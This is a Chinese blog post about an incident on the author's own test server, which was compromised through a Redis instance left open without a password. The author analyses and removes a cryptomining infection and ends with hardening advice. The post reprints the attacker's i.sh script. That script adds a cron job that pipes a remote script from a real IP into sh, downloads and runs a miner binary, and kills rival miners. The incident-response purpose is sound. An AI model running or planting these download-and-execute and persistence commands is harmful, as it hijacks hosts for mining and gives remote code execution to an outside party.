@Mr-13
2020-02-10T05:58:33.000000Z
字数 3033
阅读 90
Redis
收到阿里的态势感知通知,说服务器上被挂了挖矿程序。居然还有点儿高兴。
好巧不巧,最近短信服务器,冯工在维护的时候经常说Redis日常维护的时候看一下,一些停用的通道、客户数据需要清除一下,避免出现服务状态异常。
因为不熟悉Redis就在自己的测试机上安装了一下,没设置 Bind 127.0.0.1
,也没绑定指定IP、也没设置密码、也没开启防火墙(呃……是有点儿自己作死的意思)。也是想试试冯工说的:“开放外网,基本上都得中招”是不是真的,所以:
果然中招了,很高兴!,然后,干掉他!
服务器上没安装什么应用,只是用.net Core + Nginx搭了个自己用的工具站;数据库也没什么重要数据,所以放心大胆地玩儿了
直观反应是:卡,所以先 top
看一下占用情况,能看到 qW3xT.2
这个家伙直接把CPU给我跑满了,能不卡才怪。另外还有个 ddgs.3013
不认识,本着怀疑一切的态度,先画个重点,看看再说。
直接百度了一下,网上有现成的说法:qW3xT.2
、ddgs.3013
,这俩货直接干掉了还是会重生;没试过杀进程;一般能“再生”的,都有守护程序,或者定时任务。
先看一下定时任务:crontab -l
果然有,看一下 i.sh
这东西干了个啥:
注释:
定时任务里的执行命令是:
*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
我查看执行的是:
curl -fsSL http://149.56.106.215:8000/i.sh
因为去掉了管道符 | sh
,这里脚本并不会再次运行,不需要担心;再说我到现在也还啥都没干呢,每一步操作都卡的要死。WTF!
不闲扯,分析一下这货都干啥了:
# 1. 配置环境变量等,没用
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
# 2. 写定时任务
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
# 3. 查看ddgs.3013进程,如果没有该进程,重新下载该文件,然后给它加执行权限,并执行。
ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013
# 4. 批量根据关键字杀进程
# 下面这几个站点打开都是矿机网站,就不贴图了,网上有现成的
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
到这儿,这家伙的运行启动方式就都了解了。下面要做的清理动作:
1.设置Redis密码
2.启动防火墙,并设置端口策略
3.检查~/.ssh
目录,清除无密通信密钥
4.删除定时任务
5.杀死目标进程,并删除进程文件
1、2两部这里就不写了,其他文档已经整理过,防火墙继续用的iptables,没有用firewall,因为:不会!
~/.ssh
目录,清除无密通信密钥
$ cd ~/.ssh
$ ls
authorized_keys
#果然有这家伙,不啰嗦直接干掉
$ rm -rf *
# 查看当前定时任务
$ crontab -l
*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
# 删除定时任务
$ crontab -r
# 再次查看已经清除掉
$ crontab -l
no crontab for root
# 这里只是在root一个用户下有,最好是每个用户都检查下。
看一下这俩异常进程的PID,直接 kill -9 18065
、kill -9 17929
,杀掉。
CPU降下来了,等差不多2分钟,没有再发现异常进程,上面的推论应该没问题。干掉定时任务,这家伙就起不来了。
...
......
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
......
...
从上面锁定待处理的路径、文件,直接干掉:
- /var/spool/cron/root
root
- /var/spool/cron/crontabs
root
再找一下 qW3xT.2
、ddgs.3013
这两个文件在哪,也干掉:
$ find / -name qW3xT.2
/tmp/qW3xT.2
$ find / -name qW3xT.2
/tmp/qW3xT.2
吃了个饭再回来,等了差不多两个小时,没在出现问题,杀干净了。
还好是自己的测试服务器,不管是不是提前就有想法想验证一下是不是会被攻击,有些东西还是得注意,要是在生产环境上,就麻烦了。
- Redis:
IP绑定该加上还是的加上,不能偷懒;
Redis访问密码最好也还是得有;
默认端口6379
最好是改了
- 防火墙:
不用多说了,必须有。